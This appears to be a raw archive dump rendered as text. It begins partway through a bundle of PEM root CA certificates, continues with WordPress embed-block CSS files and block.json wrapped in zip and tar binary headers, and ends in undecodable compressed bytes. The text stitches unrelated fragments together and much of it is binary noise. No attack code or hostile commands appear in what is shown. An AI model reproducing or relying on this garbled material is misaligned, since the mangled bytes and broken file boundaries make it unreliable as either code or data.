jVIHvXiby8posqTdDEx5YMaZ0ZPxMBoH064iwurO8YQJzOAUbn8/ftKChazcqRZOhaBgy/ac18iz
ju3Gm5h1DVXoX+WViwKkrkMpKBGk5hIwAUt1ax5mnXkvpXYvHUC0bcl9eQjs0Wq2XSqypWa9a4X0
dFbD9ed1Uigspf9mR6XU/v6eVL9lfgHWMI+lNpyiUBzuOIABSMbHdPTGrMNASRZhdCyvjG817XsY
AFs2PJxQDcqSMxDxJklt33UkN4Ii1+iW/RVLApY+B3KVfqs9TC7XyvDf4Fg/LS8EmjijAQIDAQAB
o0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUBpOjCl4oaTeq
YR3r6/wtbyPk86AwDQYJKoZIhvcNAQEMBQADggIBAJaAcgkGfpzMkwQWu6A6jZJOtxEaCnFxEM0E
rX+lRVAQZk5KQaID2RFPeje5S+LGjzJmdSX7684/AykmjbgWHfYfM25I5uj4V7Ibed87hwriZLoA
ymzvftAj63iP/2SbNDefNWWipAA9EiOWWF3KY4fGoweITedpdopTzfFP7ELyk+OZpDc8h7hi2/Ds
Hzc/N19DzFGdtfCXwreFamgLRB7lUe6TzktuhsHSDCRZNhqfLJGP4xjblJUK7ZGqDpncllPjYYPG
FrojutzdfhrGe0K22VoF3Jpf1d+42kd92jjbrDnVHmtsKheMYc2xbXIBw8MgAGJoFjHVdqqGuw6q
nsb58Nn4DSEC5MUoFlkRudlpcyqSeLiSV5sI8jrlL5WwWLdrIBRtFO8KvH7YVdiI2i/6GaX7i+B/
OfVyK4XELKzvGUWSTLNhB9xNH27SgRNcmvMSZ4PPmz+Ln52kuaiWA3rF7iDeM9ovnhp6dB7h7sxa
OgTdsxoEqBRjrLdHEoOabPXm6RUVkRqEGQ6UROcSjiVbgGcZ3GOTEAtlLor6CZpO2oYofaphNdgO
pygau1LgePhsumywbrmHXumZNTfxPWQrqaA0k89jL9WB365jJ6UeTo3cKXhZ+PmhIIynJkBugnLN
eLLIjzwec+fBH7/PzqUqm9tEZDKgu39cJRNItX+S
-----END CERTIFICATE-----

SecureSign Root CA15
====================
-----BEGIN CERTIFICATE-----
MIICIzCCAamgAwIBAgIUFhXHw9hJp75pDIqI7fBw+d23PocwCgYIKoZIzj0EAwMwUTELMAkGA1UE
BhMCSlAxIzAhBgNVBAoTGkN5YmVydHJ1c3QgSmFwYW4gQ28uLCBMdGQuMR0wGwYDVQQDExRTZWN1
cmVTaWduIFJvb3QgQ0ExNTAeFw0yMDA0MDgwODMyNTZaFw00NTA0MDgwODMyNTZaMFExCzAJBgNV
BAYTAkpQMSMwIQYDVQQKExpDeWJlcnRydXN0IEphcGFuIENvLiwgTHRkLjEdMBsGA1UEAxMUU2Vj
dXJlU2lnbiBSb290IENBMTUwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAQLUHSNZDKZmbPSYAi4Io5G
dCx4wCtELW1fHcmuS1Iggz24FG1Th2CeX2yF2wYUleDHKP+dX+Sq8bOLbe1PL0vJSpSRZHX+AezB
2Ot6lHhWGENfa4HL9rzatAy2KZMIaY+jQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQD
AgEGMB0GA1UdDgQWBBTrQciu/NWeUUj1vYv0hyCTQSvT9DAKBggqhkjOPQQDAwNoADBlAjEA2S6J
fl5OpBEHvVnCB96rMjhTKkZEBhd6zlHp4P9mLQlO4E/0BdGF9jVg3PVys0Z9AjBEmEYagoUeYWmJ
SwdLZrWeqrqgHkHZAXQ6bkU6iYAZezKYVWOr62Nuk22rGwlgMU4=
-----END CERTIFICATE-----

D-TRUST BR Root CA 2 2023
=========================
-----BEGIN CERTIFICATE-----
MIIFqTCCA5GgAwIBAgIQczswBEhb2U14LnNLyaHcZjANBgkqhkiG9w0BAQ0FADBIMQswCQYDVQQG
EwJERTEVMBMGA1UEChMMRC1UcnVzdCBHbWJIMSIwIAYDVQQDExlELVRSVVNUIEJSIFJvb3QgQ0Eg
MiAyMDIzMB4XDTIzMDUwOTA4NTYzMVoXDTM4MDUwOTA4NTYzMFowSDELMAkGA1UEBhMCREUxFTAT
BgNVBAoTDEQtVHJ1c3QgR21iSDEiMCAGA1UEAxMZRC1UUlVTVCBCUiBSb290IENBIDIgMjAyMzCC
AiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAK7/CVmRgApKaOYkP7in5Mg6CjoWzckjYaCT
cfKri3OPoGdlYNJUa2NRb0kz4HIHE304zQaSBylSa053bATTlfrdTIzZXcFhfUvnKLNEgXtRr90z
sWh81k5M/itoucpmacTsXld/9w3HnDY25QdgrMBM6ghs7wZ8T1soegj8k12b9py0i4a6Ibn08OhZ
WiihNIQaJZG2tY/vsvmA+vk9PBFy2OMvhnbFeSzBqZCTRphny4NqoFAjpzv2gTng7fC5v2Xx2Mt6
++9zA84A9H3X4F07ZrjcjrqDy4d2A/wl2ecjbwb9Z/Pg/4S8R7+1FhhGaRTMBffb00msa8yr5LUL
QyReS2tNZ9/WtT5PeB+UcSTq3nD88ZP+npNa5JRal1QMNXtfbO4AHyTsA7oC9Xb0n9Sa7YUsOCIv
x9gvdhFP/Wxc6PWOJ4d/GUohR5AdeY0cW/jPSoXk7bNbjb7EZChdQcRurDhaTyN0dKkSw/bSuREV
MweR2Ds3OmMwBtHFIjYoYiMQ4EbMl6zWK11kJNXuHA7e+whadSr2Y23OC0K+0bpwHJwh5Q8xaRfX
/Aq03u2AnMuStIv13lmiWAmlY0cL4UEyNEHZmrHZqLAbWt4NDfTisl01gLmB1IRpkQLLddCNxbU9
CZEJjxShFHR5PtbJFR2kWVki3PaKRT08EtY+XTIvAgMBAAGjgY4wgYswDwYDVR0TAQH/BAUwAwEB
/zAdBgNVHQ4EFgQUZ5Dw1t61GNVGKX5cq/ieCLxklRAwDgYDVR0PAQH/BAQDAgEGMEkGA1UdHwRC
MEAwPqA8oDqGOGh0dHA6Ly9jcmwuZC10cnVzdC5uZXQvY3JsL2QtdHJ1c3RfYnJfcm9vdF9jYV8y
XzIwMjMuY3JsMA0GCSqGSIb3DQEBDQUAA4ICAQA097N3U9swFrktpSHxQCF16+tIFoE9c+CeJyrr
d6kTpGoKWloUMz1oH4Guaf2Mn2VsNELZLdB/eBaxOqwjMa1ef67nriv6uvw8l5VAk1/DLQOj7aRv
U9f6QA4w9QAgLABMjDu0ox+2v5Eyq6+SmNMW5tTRVFxDWy6u71cqqLRvpO8NVhTaIasgdp4D/Ca4
nj8+AybmTNudX0KEPUUDAxxZiMrcLmEkWqTqJwtzEr5SswrPMhfiHocaFpVIbVrg0M8JkiZmkdij
YQ6qgYF/6FKC0ULn4B0Y+qSFNueG4A3rvNTJ1jxD8V1Jbn6Bm2m1iWKPiFLY1/4nwSPFyysCu7Ff
/vtDhQNGvl3GyiEm/9cCnnRK3PgTFbGBVzbLZVzRHTF36SXDw7IyN9XxmAnkbWOACKsGkoHU6XCP
pz+y7YaMgmo1yEJagtFSGkUPFaUA8JR7ZSdXOUPPfH/mvTWze/EZTN46ls/pdu4D58JDUjxqgejB
WoC9EV2Ta/vH5mQ/u2kc6d0li690yVRAysuTEwrt+2aSEcr1wPrYg1UDfNPFIkZ1cGt5SAYqgpq/
5usWDiJFAbzdNpQ0qTUmiteXue4Icr80knCDgKs4qllo3UCkGJCy89UDyibK79XH4I9TjvAA46jt
n/mtd+ArY0+ew+43u3gJhJ65bvspmZDogNOfJA==
-----END CERTIFICATE-----

D-TRUST EV Root CA 2 2023
=========================
-----BEGIN CERTIFICATE-----
MIIFqTCCA5GgAwIBAgIQaSYJfoBLTKCnjHhiU19abzANBgkqhkiG9w0BAQ0FADBIMQswCQYDVQQG
EwJERTEVMBMGA1UEChMMRC1UcnVzdCBHbWJIMSIwIAYDVQQDExlELVRSVVNUIEVWIFJvb3QgQ0Eg
MiAyMDIzMB4XDTIzMDUwOTA5MTAzM1oXDTM4MDUwOTA5MTAzMlowSDELMAkGA1UEBhMCREUxFTAT
BgNVBAoTDEQtVHJ1c3QgR21iSDEiMCAGA1UEAxMZRC1UUlVTVCBFViBSb290IENBIDIgMjAyMzCC
AiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBANiOo4mAC7JXUtypU0w3uX9jFxPvp1sjW2l1
sJkKF8GLxNuo4MwxusLyzV3pt/gdr2rElYfXR8mV2IIEUD2BCP/kPbOx1sWy/YgJ25yE7CUXFId/
MHibaljJtnMoPDT3mfd/06b4HEV8rSyMlD/YZxBTfiLNTiVR8CUkNRFeEMbsh2aJgWi6zCudR3Mf
vc2RpHJqnKIbGKBv7FD0fUDCqDDPvXPIEysQEx6Lmqg6lHPTGGkKSv/BAQP/eX+1SH977ugpbzZM
lWGG2Pmic4ruri+W7mjNPU0oQvlFKzIbRlUWaqZLKfm7lVa/Rh3sHZMdwGWyH6FDrlaeoLGPaxK3
YG14C8qKXO0elg6DpkiVjTujIcSuWMYAsoS0I6SWhjW42J7YrDRJmGOVxcttSEfi8i4YHtAxq910
7PncjLgcjmgjutDzUNzPZY9zOjLHfP7KgiJPvo5iR2blzYfi6NUPGJ/lBHJLRjwQ8kTCZFZxTnXo
nMkmdMV9WdEKWw9t/p51HBjGGjp82A0EzM23RWV6sY+4roRIPrN6TagD4uJ+ARZZaBhDM7DS3LAa
QzXupdqpRlyuhoFBAUp0JuyfBr/CBTdkdXgpaP3F9ev+R/nkhbDhezGdpn9yo7nELC7MmVcOIQxF
AZRl62UJxmMiCzNJkkg8/M3OsD6Onov4/knFNXJHAgMBAAGjgY4wgYswDwYDVR0TAQH/BAUwAwEB
/zAdBgNVHQ4EFgQUqvyREBuHkV8Wub9PS5FeAByxMoAwDgYDVR0PAQH/BAQDAgEGMEkGA1UdHwRC
MEAwPqA8oDqGOGh0dHA6Ly9jcmwuZC10cnVzdC5uZXQvY3JsL2QtdHJ1c3RfZXZfcm9vdF9jYV8y
XzIwMjMuY3JsMA0GCSqGSIb3DQEBDQUAA4ICAQCTy6UfmRHsmg1fLBWTxj++EI14QvBukEdHjqOS
Mo1wj/Zbjb6JzkcBahsgIIlbyIIQbODnmaprxiqgYzWRaoUlrRc4pZt+UPJ26oUFKidBK7GB0aL2
QHWpDsvxVUjY7NHss+jOFKE17MJeNRqrphYBBo7q3C+jisosketSjl8MmxfPy3MHGcRqwnNU73xD
UmPBEcrCRbH0O1P1aa4846XerOhUt7KR/aypH/KH5BfGSah82ApB9PI+53c0BFLd6IHyTS9URZ0V
4U/M5d40VxDJI3IXcI1QcB9WbMy5/zpaT2N6w25lBx2Eof+pDGOJbbJAiDnXH3dotfyc1dZnaVuo
dNv8ifYbMvekJKZ2t0dT741Jj6m2g1qllpBFYfXeA08mD6iL8AOWsKwV0HFaanuU5nCT2vFp4LJi
TZ6P/4mdm13NRemUAiKN4DV/6PEEeXFsVIP4M7kFMhtYVRFP0OUnR3Hs7dpn1mKmS00PaaLJvOwi
S5THaJQXfuKOKD62xur1NGyfN4gHONuGcfrNlUhDbqNPgofXNJhuS5N5YHVpD/Aa1VP6IQzCP+k/
HxiMkl14p3ZnGbuy6n/pcAlWVqOwDAstNl7F6cTVg8uGF5csbBNvh1qvSaYd2804BC5f4ko1Di1L
+KIkBI3Y4WNeApI02phhXBxvWHZks/wCuPWdCg==
-----END CERTIFICATE-----
14338/embed.zip000064400000031666151024420100007027 0ustar00PKw[d[{96���editor-rtl.min.cssnu�[���.wp-block-embed{clear:both;margin-left:0;margin-right:0}.wp-block-embed.is-loading{display:flex;justify-content:center}.wp-block-embed .wp-block-embed__placeholder-input{flex:1 1 auto}.wp-block-embed .components-placeholder__error{word-break:break-word}.wp-block-post-content .wp-block-embed__learn-more a{color:var(--wp-admin-theme-color)}.block-library-embed__interactive-overlay{bottom:0;left:0;opacity:0;position:absolute;right:0;top:0}.wp-block[data-align=left]>.wp-block-embed,.wp-block[data-align=right]>.wp-block-embed{max-width:360px;width:100%}.wp-block[data-align=left]>.wp-block-embed .wp-block-embed__wrapper,.wp-block[data-align=right]>.wp-block-embed .wp-block-embed__wrapper{min-width:280px}PKw[d[��k��
theme-rtl.cssnu�[���.wp-block-embed :where(figcaption){
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .wp-block-embed :where(figcaption){
  color:#ffffffa6;
}

.wp-block-embed{
  margin:0 0 1em;
}PKw[d[<ţ��theme-rtl.min.cssnu�[���.wp-block-embed :where(figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-embed :where(figcaption){color:#ffffffa6}.wp-block-embed{margin:0 0 1em}PKw[d[<ţ��
theme.min.cssnu�[���.wp-block-embed :where(figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-embed :where(figcaption){color:#ffffffa6}.wp-block-embed{margin:0 0 1em}PKw[d[��k��	theme.cssnu�[���.wp-block-embed :where(figcaption){
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .wp-block-embed :where(figcaption){
  color:#ffffffa6;
}

.wp-block-embed{
  margin:0 0 1em;
}PKw[d[���t<<style-rtl.min.cssnu�[���.wp-block-embed.alignleft,.wp-block-embed.alignright,.wp-block[data-align=left]>[data-type="core/embed"],.wp-block[data-align=right]>[data-type="core/embed"]{max-width:360px;width:100%}.wp-block-embed.alignleft .wp-block-embed__wrapper,.wp-block-embed.alignright .wp-block-embed__wrapper,.wp-block[data-align=left]>[data-type="core/embed"] .wp-block-embed__wrapper,.wp-block[data-align=right]>[data-type="core/embed"] .wp-block-embed__wrapper{min-width:280px}.wp-block-cover .wp-block-embed{min-height:240px;min-width:320px}.wp-block-embed{overflow-wrap:break-word}.wp-block-embed :where(figcaption){margin-bottom:1em;margin-top:.5em}.wp-block-embed iframe{max-width:100%}.wp-block-embed__wrapper{position:relative}.wp-embed-responsive .wp-has-aspect-ratio .wp-block-embed__wrapper:before{content:"";display:block;padding-top:50%}.wp-embed-responsive .wp-has-aspect-ratio iframe{bottom:0;height:100%;left:0;position:absolute;right:0;top:0;width:100%}.wp-embed-responsive .wp-embed-aspect-21-9 .wp-block-embed__wrapper:before{padding-top:42.85%}.wp-embed-responsive .wp-embed-aspect-18-9 .wp-block-embed__wrapper:before{padding-top:50%}.wp-embed-responsive .wp-embed-aspect-16-9 .wp-block-embed__wrapper:before{padding-top:56.25%}.wp-embed-responsive .wp-embed-aspect-4-3 .wp-block-embed__wrapper:before{padding-top:75%}.wp-embed-responsive .wp-embed-aspect-1-1 .wp-block-embed__wrapper:before{padding-top:100%}.wp-embed-responsive .wp-embed-aspect-9-16 .wp-block-embed__wrapper:before{padding-top:177.77%}.wp-embed-responsive .wp-embed-aspect-1-2 .wp-block-embed__wrapper:before{padding-top:200%}PKw[d[��f=editor-rtl.cssnu�[���.wp-block-embed{
  clear:both;
  margin-left:0;
  margin-right:0;
}
.wp-block-embed.is-loading{
  display:flex;
  justify-content:center;
}
.wp-block-embed .wp-block-embed__placeholder-input{
  flex:1 1 auto;
}
.wp-block-embed .components-placeholder__error{
  word-break:break-word;
}

.wp-block-post-content .wp-block-embed__learn-more a{
  color:var(--wp-admin-theme-color);
}

.block-library-embed__interactive-overlay{
  bottom:0;
  left:0;
  opacity:0;
  position:absolute;
  right:0;
  top:0;
}

.wp-block[data-align=left]>.wp-block-embed,.wp-block[data-align=right]>.wp-block-embed{
  max-width:360px;
  width:100%;
}
.wp-block[data-align=left]>.wp-block-embed .wp-block-embed__wrapper,.wp-block[data-align=right]>.wp-block-embed .wp-block-embed__wrapper{
  min-width:280px;
}PKw[d[���t<<
style.min.cssnu�[���.wp-block-embed.alignleft,.wp-block-embed.alignright,.wp-block[data-align=left]>[data-type="core/embed"],.wp-block[data-align=right]>[data-type="core/embed"]{max-width:360px;width:100%}.wp-block-embed.alignleft .wp-block-embed__wrapper,.wp-block-embed.alignright .wp-block-embed__wrapper,.wp-block[data-align=left]>[data-type="core/embed"] .wp-block-embed__wrapper,.wp-block[data-align=right]>[data-type="core/embed"] .wp-block-embed__wrapper{min-width:280px}.wp-block-cover .wp-block-embed{min-height:240px;min-width:320px}.wp-block-embed{overflow-wrap:break-word}.wp-block-embed :where(figcaption){margin-bottom:1em;margin-top:.5em}.wp-block-embed iframe{max-width:100%}.wp-block-embed__wrapper{position:relative}.wp-embed-responsive .wp-has-aspect-ratio .wp-block-embed__wrapper:before{content:"";display:block;padding-top:50%}.wp-embed-responsive .wp-has-aspect-ratio iframe{bottom:0;height:100%;left:0;position:absolute;right:0;top:0;width:100%}.wp-embed-responsive .wp-embed-aspect-21-9 .wp-block-embed__wrapper:before{padding-top:42.85%}.wp-embed-responsive .wp-embed-aspect-18-9 .wp-block-embed__wrapper:before{padding-top:50%}.wp-embed-responsive .wp-embed-aspect-16-9 .wp-block-embed__wrapper:before{padding-top:56.25%}.wp-embed-responsive .wp-embed-aspect-4-3 .wp-block-embed__wrapper:before{padding-top:75%}.wp-embed-responsive .wp-embed-aspect-1-1 .wp-block-embed__wrapper:before{padding-top:100%}.wp-embed-responsive .wp-embed-aspect-9-16 .wp-block-embed__wrapper:before{padding-top:177.77%}.wp-embed-responsive .wp-embed-aspect-1-2 .wp-block-embed__wrapper:before{padding-top:200%}PKw[d[��f=
editor.cssnu�[���.wp-block-embed{
  clear:both;
  margin-left:0;
  margin-right:0;
}
.wp-block-embed.is-loading{
  display:flex;
  justify-content:center;
}
.wp-block-embed .wp-block-embed__placeholder-input{
  flex:1 1 auto;
}
.wp-block-embed .components-placeholder__error{
  word-break:break-word;
}

.wp-block-post-content .wp-block-embed__learn-more a{
  color:var(--wp-admin-theme-color);
}

.block-library-embed__interactive-overlay{
  bottom:0;
  left:0;
  opacity:0;
  position:absolute;
  right:0;
  top:0;
}

.wp-block[data-align=left]>.wp-block-embed,.wp-block[data-align=right]>.wp-block-embed{
  max-width:360px;
  width:100%;
}
.wp-block[data-align=left]>.wp-block-embed .wp-block-embed__wrapper,.wp-block[data-align=right]>.wp-block-embed .wp-block-embed__wrapper{
  min-width:280px;
}PKw[d[&c�
block.jsonnu�[���{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/embed",
	"title": "Embed",
	"category": "embed",
	"description": "Add a block that displays content pulled from other sites, like Twitter or YouTube.",
	"textdomain": "default",
	"attributes": {
		"url": {
			"type": "string",
			"role": "content"
		},
		"caption": {
			"type": "rich-text",
			"source": "rich-text",
			"selector": "figcaption",
			"role": "content"
		},
		"type": {
			"type": "string",
			"role": "content"
		},
		"providerNameSlug": {
			"type": "string",
			"role": "content"
		},
		"allowResponsive": {
			"type": "boolean",
			"default": true
		},
		"responsive": {
			"type": "boolean",
			"default": false,
			"role": "content"
		},
		"previewable": {
			"type": "boolean",
			"default": true,
			"role": "content"
		}
	},
	"supports": {
		"align": true,
		"spacing": {
			"margin": true
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-embed-editor",
	"style": "wp-block-embed"
}
PKw[d[�$F��
style-rtl.cssnu�[���.wp-block-embed.alignleft,.wp-block-embed.alignright,.wp-block[data-align=left]>[data-type="core/embed"],.wp-block[data-align=right]>[data-type="core/embed"]{
  max-width:360px;
  width:100%;
}
.wp-block-embed.alignleft .wp-block-embed__wrapper,.wp-block-embed.alignright .wp-block-embed__wrapper,.wp-block[data-align=left]>[data-type="core/embed"] .wp-block-embed__wrapper,.wp-block[data-align=right]>[data-type="core/embed"] .wp-block-embed__wrapper{
  min-width:280px;
}

.wp-block-cover .wp-block-embed{
  min-height:240px;
  min-width:320px;
}

.wp-block-embed{
  overflow-wrap:break-word;
}
.wp-block-embed :where(figcaption){
  margin-bottom:1em;
  margin-top:.5em;
}
.wp-block-embed iframe{
  max-width:100%;
}

.wp-block-embed__wrapper{
  position:relative;
}

.wp-embed-responsive .wp-has-aspect-ratio .wp-block-embed__wrapper:before{
  content:"";
  display:block;
  padding-top:50%;
}
.wp-embed-responsive .wp-has-aspect-ratio iframe{
  bottom:0;
  height:100%;
  left:0;
  position:absolute;
  right:0;
  top:0;
  width:100%;
}

.wp-embed-responsive .wp-embed-aspect-21-9 .wp-block-embed__wrapper:before{
  padding-top:42.85%;
}
.wp-embed-responsive .wp-embed-aspect-18-9 .wp-block-embed__wrapper:before{
  padding-top:50%;
}
.wp-embed-responsive .wp-embed-aspect-16-9 .wp-block-embed__wrapper:before{
  padding-top:56.25%;
}
.wp-embed-responsive .wp-embed-aspect-4-3 .wp-block-embed__wrapper:before{
  padding-top:75%;
}
.wp-embed-responsive .wp-embed-aspect-1-1 .wp-block-embed__wrapper:before{
  padding-top:100%;
}
.wp-embed-responsive .wp-embed-aspect-9-16 .wp-block-embed__wrapper:before{
  padding-top:177.77%;
}
.wp-embed-responsive .wp-embed-aspect-1-2 .wp-block-embed__wrapper:before{
  padding-top:200%;
}PKw[d[�$F��	style.cssnu�[���.wp-block-embed.alignleft,.wp-block-embed.alignright,.wp-block[data-align=left]>[data-type="core/embed"],.wp-block[data-align=right]>[data-type="core/embed"]{
  max-width:360px;
  width:100%;
}
.wp-block-embed.alignleft .wp-block-embed__wrapper,.wp-block-embed.alignright .wp-block-embed__wrapper,.wp-block[data-align=left]>[data-type="core/embed"] .wp-block-embed__wrapper,.wp-block[data-align=right]>[data-type="core/embed"] .wp-block-embed__wrapper{
  min-width:280px;
}

.wp-block-cover .wp-block-embed{
  min-height:240px;
  min-width:320px;
}

.wp-block-embed{
  overflow-wrap:break-word;
}
.wp-block-embed :where(figcaption){
  margin-bottom:1em;
  margin-top:.5em;
}
.wp-block-embed iframe{
  max-width:100%;
}

.wp-block-embed__wrapper{
  position:relative;
}

.wp-embed-responsive .wp-has-aspect-ratio .wp-block-embed__wrapper:before{
  content:"";
  display:block;
  padding-top:50%;
}
.wp-embed-responsive .wp-has-aspect-ratio iframe{
  bottom:0;
  height:100%;
  left:0;
  position:absolute;
  right:0;
  top:0;
  width:100%;
}

.wp-embed-responsive .wp-embed-aspect-21-9 .wp-block-embed__wrapper:before{
  padding-top:42.85%;
}
.wp-embed-responsive .wp-embed-aspect-18-9 .wp-block-embed__wrapper:before{
  padding-top:50%;
}
.wp-embed-responsive .wp-embed-aspect-16-9 .wp-block-embed__wrapper:before{
  padding-top:56.25%;
}
.wp-embed-responsive .wp-embed-aspect-4-3 .wp-block-embed__wrapper:before{
  padding-top:75%;
}
.wp-embed-responsive .wp-embed-aspect-1-1 .wp-block-embed__wrapper:before{
  padding-top:100%;
}
.wp-embed-responsive .wp-embed-aspect-9-16 .wp-block-embed__wrapper:before{
  padding-top:177.77%;
}
.wp-embed-responsive .wp-embed-aspect-1-2 .wp-block-embed__wrapper:before{
  padding-top:200%;
}PKw[d[{96���editor.min.cssnu�[���.wp-block-embed{clear:both;margin-left:0;margin-right:0}.wp-block-embed.is-loading{display:flex;justify-content:center}.wp-block-embed .wp-block-embed__placeholder-input{flex:1 1 auto}.wp-block-embed .components-placeholder__error{word-break:break-word}.wp-block-post-content .wp-block-embed__learn-more a{color:var(--wp-admin-theme-color)}.block-library-embed__interactive-overlay{bottom:0;left:0;opacity:0;position:absolute;right:0;top:0}.wp-block[data-align=left]>.wp-block-embed,.wp-block[data-align=right]>.wp-block-embed{max-width:360px;width:100%}.wp-block[data-align=left]>.wp-block-embed .wp-block-embed__wrapper,.wp-block[data-align=right]>.wp-block-embed .wp-block-embed__wrapper{min-width:280px}PKw[d[{96���editor-rtl.min.cssnu�[���PKw[d[��k��
theme-rtl.cssnu�[���PKw[d[<ţ��
theme-rtl.min.cssnu�[���PKw[d[<ţ��
�theme.min.cssnu�[���PKw[d[��k��	�theme.cssnu�[���PKw[d[���t<<�style-rtl.min.cssnu�[���PKw[d[��f=f
editor-rtl.cssnu�[���PKw[d[���t<<
�style.min.cssnu�[���PKw[d[��f=
-editor.cssnu�[���PKw[d[&c�
wblock.jsonnu�[���PKw[d[�$F��
�style-rtl.cssnu�[���PKw[d[�$F��	�%style.cssnu�[���PKw[d[{96����,editor.min.cssnu�[���PK

��/14338/query.tar.gz000064400000006452151024420100007516 0ustar00��ks�6�_�_��l2CI��J�S۴��u�4i�k���Q!�SK@�t
��-|�a;��Wa2&	.�}`ˍH@K��S5}�?���A;9:���sxx�Y���u�:G''���ڇGȻR�ی����1��5�!�/!&8Y4~��c!H
����E�)p�4�J�0\,}ΦQ�g�Ht;=�8�q�s��/�0#t�qE1�;O�x�,���4�g�7C�o�
2]�/4�4 ]|�h���ݍ��9��?Y�1N�A�/�Ѩ7��?dB�i���8h4�O�9�z1�Tb�rA��EO���D�#>bɴ��B,�l9��V�y��A�'���Ul���H4��O����S<7c��V�R�p�!�dޘ�h6�,f�$iR� �5�Rv�Bv�Xt���0�D�f��"A"��:��n��v�i�Q��8ċ�8�AO�i�.Œ�F{x�=J�ia��`�2�k�r��n�I
��?X�fgU��O�����%%W�w��K�z��n������;��#4:�Y"��9~y�՛�_7x��^����W�������K�8!�(lz	����)y�l�9>�(aSd}�C�*�V��z�Z]��"���v�YH8`�#{YW`-tt��knm[�8��9�Ԅ�(�0J���:w\ <ZN���O�zAO���}|kx[-�ӄ M/�?!�3a�`'�i�ak(�ی&�f��E@�S�m���oؘ��ί'Ŀ@t��J9��*�5I��^i����eS���Q�	�
��~AtBF4"+T�"fIT�0�yg����AE�*[�
A�gQ�	��Ĉ�YY���2*�sG� h��'�l��������Un���Ŝ���jM��u��m0�b)F/\T�,w�9[	�Q�Kґ�&��*A�N�	5]���[�0� ��V�:%-��(NXL�@c"C���l�lA�u��z@�{� ^F�LY���Q 9k���s�+�*_���m��d!
�Z���7���b�+�8h�m�)�p��^�A<��\xc�W�%��n
�0$]$���["���;��^6��6{H{�Vn���WQF&��r"��休3R\l��UZ��؆�!�XĤY����0,�qn\�ǷV��j�hr/S����ᄹ݁+4s��aO-�4���f`�]�pz����"�f!��5�4��ɩÉ��-�aDxJ8�%��0pn/љ��<�ͅu�E�GE0����^�N#�:�A�f�p�!��\aSx����]D���$���Q�*U�يX@2��*�O���h44XK�[��!u�!�/0�	�BL ,�|Jx]�f��g��%�.@2�˒ؽ��L-�㹢Q���������vno@�3�ޓOp٠��Q��Ɂ<��lK(�0�+3,R�0̫^�T�,�����9��	U��u�����C�_���E���a�D��`��`��3rϗ�Cd�¾��"	���E��x��vɸ$�'td�#�;6���$IЫ۞{����|�h��K�#�����"|I����ބ���v�t����ʩ1"�e��o݄�d�r/.c��!��>�%���Wq*V�(uXi�2N��V�eg�}��H��z~�c�Qu�0l@�Ե���/Ni!Z���7Z�����H,(	�mJ9i�����y͡��u�F�!(��<:%j�<��f�*vf�e�ż9KB�U�|\���̟q��h+�jw�b�$ˑbs�
\�%���BL1�"O~!|&�<���(tSݼU	D�J��/�#IV��T]S�U�' ���^U�U�M�T֙߳N�,Z�	�K��Jv�Lf���6���@�>�V"%&�����O��S�3���#D] �O�?��7��/��s�`�7|��ڝ��￝�]���߿�g�3�$xa�����~8Z\���Ѫރ�g޳���Y�O��>!m�|�5���[n��
��So�����#4�ٟ`����s������2C��/��m���_��M�˴��`6q�o�O��y��lY���~?r̮�b	Id��ɗi�3�^�ԥy�9�CʚA�&�p��,��ӱpX���M���=yK��Ħ���R6s�se&S�%穓�0<��V�@	��Y�4��|Q@6�FW���,�ʮ
s�R���a��t��n�ս[9B�7�>8{�>PD���m+����}{�����ʟX�~?�s$�Ε@�$
�Q�8��ā�.���2O(ؕ�@���,�
���K������"�vy?�����#U��R�4�l��Ĥ{޿'Y2Gޚ\���iy��\�j��q`1�ڡ]-0gM��7G�&vg:Rg��5lT:T�(����OFIiߺ��k���9���4u�t�ҒQ2 �d��)]]���
Eq�К
�nq\��/��7b�`3�kd���M
�ENv�.�IhσS�����|��O�n�ǝ�O���p���w٥̯TK@���
�WO��A��Z!밧�
�OZ
4l��ݕ�����W�C�kC�(�T�ʞ�BQ�ҵ��f{�(��+F�
7�)O�jp��Q%���L�;���:ҒT���,U��m���RS
���J��ye�Ԏjq�fC.	𞉿�\dH.�Xт�*9]�0�?Pݩ^��~���O��w��h;���;���;������g���q��?ڐ�?���Gi�z�+�'d��.�&Bļ�j�;p�%�Hf�E��˅a8�?�ρ0�P�Ȋ�����nAE��uq�K�b��
��+���ji,4^�y�pp��}]����Cؖy���K�$�L�s�k�Y�G#���;E
��HT�ݲ��8N�}Gt<K��GPT\�������3dI��r�%�^^��qvU/|�#6-a�s�v2�b�c2��}B$t8D�b�Y��o�c�ͦC�XЗ�9�S�$�Z-��լ�$o�XF�0tM'���=��F#�Kr9?�����R�~��+%�$�u㙘0�����C�~8�4g���+�@4���J�T��x��aGeaR輌O�#X����,ϸ)�{��U~rO4^���By�ζ�9d���C��!C�B���)G8䤮h���'<�}V�9ķ�ll�.N�%��%��o+*e�Vh�z�lfV^�ؾ�M��t>��׸��q�>�HK��"j�MÌ�#̈�T��~�4�Az2�ߊ��}�Ѥq���z��M}����>���;=<:��GhS�CH�k��ӎw����{��]�����߃���l��/`��;���������~�e��/��ٵ]۵]�s��c��R14338/media-models.js.js.tar.gz000064400000025237151024420100011741 0ustar00��}s�6��+}
�v+3ʎG����Ƨl�vr�^����U�T�%1��cY��_�����V�rUQU�!	4�F����n\��t��J�7g���*[��<-�y�&EV��W����_��u�\���r�ru?+�z��?��t�%���"����_Z��G�:�?8x���G9����G~�����;0ڠ�o]7IM�m���?��}3��/�;��o.��*���gY6uS%�]Wj�MR��S)p
